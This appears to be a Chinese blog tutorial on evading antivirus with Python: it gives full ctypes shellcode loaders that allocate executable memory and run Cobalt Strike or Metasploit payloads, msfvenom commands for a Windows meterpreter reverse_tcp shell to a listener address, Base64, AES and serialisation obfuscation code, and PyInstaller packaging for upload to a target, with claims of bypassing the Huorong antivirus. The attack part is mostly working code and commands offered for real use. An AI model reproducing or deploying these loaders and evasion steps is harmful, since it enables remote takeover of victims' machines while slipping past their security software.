• 免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall


    Python-MSF/CS生成shellcode-上线

    cs上线

    1.生成shellcode-c或者python

    2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去

    shellcode执行代码:

    1. import ctypes
    2. from django.contrib.gis import ptr
    3. #cs
    4. #shellcode=bytearray(b"生成的shellcode")
    5. #msf的shellcode拼接代码
    6. # shellcode = bytearray(b"")
    7. # shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
    8. # shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    9. # print(shellcode)
    10. #msf拼接后shellcode
    11. shellcode = bytearray(b'拼接完成shellcode')
    12. # 设置VirtualAlloc返回类型为ctypes.c_uint64
    13. #在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
    14. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    15. # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
    16. ptr = ctypes.windll.kernel32.VirtualAlloc(
    17. ctypes.c_int(0), #要分配的内存区域的地址
    18. ctypes.c_int(len(shellcode)), #分配的大小
    19. ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    20. ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    21. )
    22. # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
    23. buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    24. ctypes.windll.kernel32.RtlMoveMemory(
    25. ctypes.c_uint64(ptr),
    26. buffered,
    27. ctypes.c_int(len(shellcode))
    28. )
    29. # 创建一个线程从shellcode放置位置首地址开始执行
    30. handle = ctypes.windll.kernel32.CreateThread(
    31. ctypes.c_int(0), #指向安全属性的指针
    32. ctypes.c_int(0), #初始堆栈大小
    33. ctypes.c_uint64(ptr), #指向起始地址的指针
    34. ctypes.c_int(0), #指向任何参数的指针
    35. ctypes.c_int(0), #创建标志
    36. ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
    37. )
    38. # 等待上面创建的线程运行完
    39. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

    3.将生成的shellcode放到执行代码中,运行代码,cs成功上线

    MSF上线

    1.执行命令,生成shellcode

    命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

    2.msf设置监听

    3.将shellcode放到执行脚本中运行

    因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:

    可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。

    直接使用拼接的shellcode:运行脚本成功上线

    Python-混淆加密- Base64 & AES & 反序列化等

    一、Base64编码

    1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码

    编码代码:

    1. import base64
    2. shellcode = b'生成的shellcode'
    3. s=base64.b64encode(shellcode)
    4. print(s)

    也可以使用命令直接生成base64编码的shellcode:

    msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

    2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。

    解码代码:shellcode=base64.b64decode(shellcode)

    成功构造免杀脚本,执行脚本msf成功上线

    二、AES加密

    AES加密代码:

    1. from Crypto.Cipher import AES
    2. from binascii import b2a_hex, a2b_hex
    3. import ctypes,base64
    4. # 如果text不足16位的倍数就用空格补足为16位
    5. def add_to_16(text):
    6. if len(text.encode('utf-8')) % 16:
    7. add = 16 - (len(text.encode('utf-8')) % 16)
    8. else:
    9. add = 0
    10. text = text + ('\0' * add)
    11. return text.encode('utf-8')
    12. # 加密函数
    13. def encrypt(text):
    14. key = '9999999999999999'.encode('utf-8')
    15. mode = AES.MODE_CBC
    16. iv = b'qqqqqqqqqqqqqqqq'
    17. text = add_to_16(text)
    18. cryptos = AES.new(key, mode, iv)
    19. cipher_text = cryptos.encrypt(text)
    20. #print(base64.b64decode(cipher_text))
    21. # 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
    22. return b2a_hex(cipher_text)
    23. def zhixing(shellcode):
    24. rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
    25. ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
    26. handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
    27. ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    28. if __name__ == '__main__':
    29. # 加密
    30. #msf
    31. # s='''base64编码后的shellcode'''
    32. #cs
    33. s='base64编码的shellcode'
    34. e = encrypt(s)
    35. print(e)

    AES解密执行代码:

    1. from Crypto.Cipher import AES
    2. from binascii import b2a_hex, a2b_hex
    3. import ctypes,base64
    4. # 如果text不足16位的倍数就用空格补足为16位
    5. def add_to_16(text):
    6. if len(text.encode('utf-8')) % 16:
    7. add = 16 - (len(text.encode('utf-8')) % 16)
    8. else:
    9. add = 0
    10. text = text + ('\0' * add)
    11. return text.encode('utf-8')
    12. # 解密后,去掉补足的空格用strip() 去掉
    13. def decrypt(text):
    14. key = '9999999999999999'.encode('utf-8')
    15. iv = b'qqqqqqqqqqqqqqqq'
    16. mode = AES.MODE_CBC
    17. cryptos = AES.new(key, mode, iv)
    18. plain_text = cryptos.decrypt(a2b_hex(text))
    19. shellcode=bytes.decode(plain_text).rstrip('\0')
    20. return shellcode
    21. def zhixing(shellcode):
    22. shellcode = bytearray(base64.b64decode(shellcode))
    23. # 设置VirtualAlloc返回类型为ctypes.c_uint64
    24. # 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
    25. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    26. # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
    27. ptr = ctypes.windll.kernel32.VirtualAlloc(
    28. ctypes.c_int(0), # 要分配的内存区域的地址
    29. ctypes.c_int(len(shellcode)), # 分配的大小
    30. ctypes.c_int(0x3000), # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    31. ctypes.c_int(0x40) # 该内存的初始保护属性,0x40代表可读可写可执行属性
    32. )
    33. # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
    34. buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    35. ctypes.windll.kernel32.RtlMoveMemory(
    36. ctypes.c_uint64(ptr),
    37. buffered,
    38. ctypes.c_int(len(shellcode))
    39. )
    40. # 创建一个线程从shellcode放置位置首地址开始执行
    41. handle = ctypes.windll.kernel32.CreateThread(
    42. ctypes.c_int(0), # 指向安全属性的指针
    43. ctypes.c_int(0), # 初始堆栈大小
    44. ctypes.c_uint64(ptr), # 指向起始地址的指针
    45. ctypes.c_int(0), # 指向任何参数的指针
    46. ctypes.c_int(0), # 创建标志
    47. ctypes.pointer(ctypes.c_int(0)) # 指向接收线程标识符的值的指针
    48. )
    49. # 等待上面创建的线程运行完
    50. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
    51. if __name__ == '__main__':
    52. #msf
    53. #e='AES解密后的shellcode'
    54. #cs
    55. e='AES解密后的shellcode'
    56. d = decrypt(e) # 解密
    57. zhixing(d)

    1.使用cs生成一个64位shellcode,执行代码对其进行base64编码

    2.在对编码后的shellcode进行AES加密

    3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线

    三、反序列化

    1.将msf生成的shellcode放到代码中进行序列化和base64加密

    2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线

    Python-打包器

    以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。

    Pyinstall打包器

    安装:pip install pyinstaller

    参数介绍:

    -F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用

    -D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护

    -K, –tk 在部署时包含 TCL/TK

    -a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

    -d, –debug 产生debug版本的可执行文件

    -w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

    -c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

    1.执行命令,将原生态1.py进行打包

    命令:pyinstaller -1.py

    打包后的exe程序在根目录下的dist目录中

    2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线

    3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。

  • 相关阅读:
    什么是大数据测试?有哪些类型?应该怎么测?
    使用yx-tiny命令行工具进行图片压缩
    MySQL安装_win10(超详细)
    城市之间的联系
    编写一个会导致死锁的程序,将怎么解决?
    Springboot项目升级2.2.x升至2.7.x
    《Java面向对象程序设计》学习笔记——第 15 章 Java 多线程机制
    AXI总线流程
    Jenkins+Allure+Pytest的持续集成
    DDD领域驱动设计-为什么要用DDD
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/132858693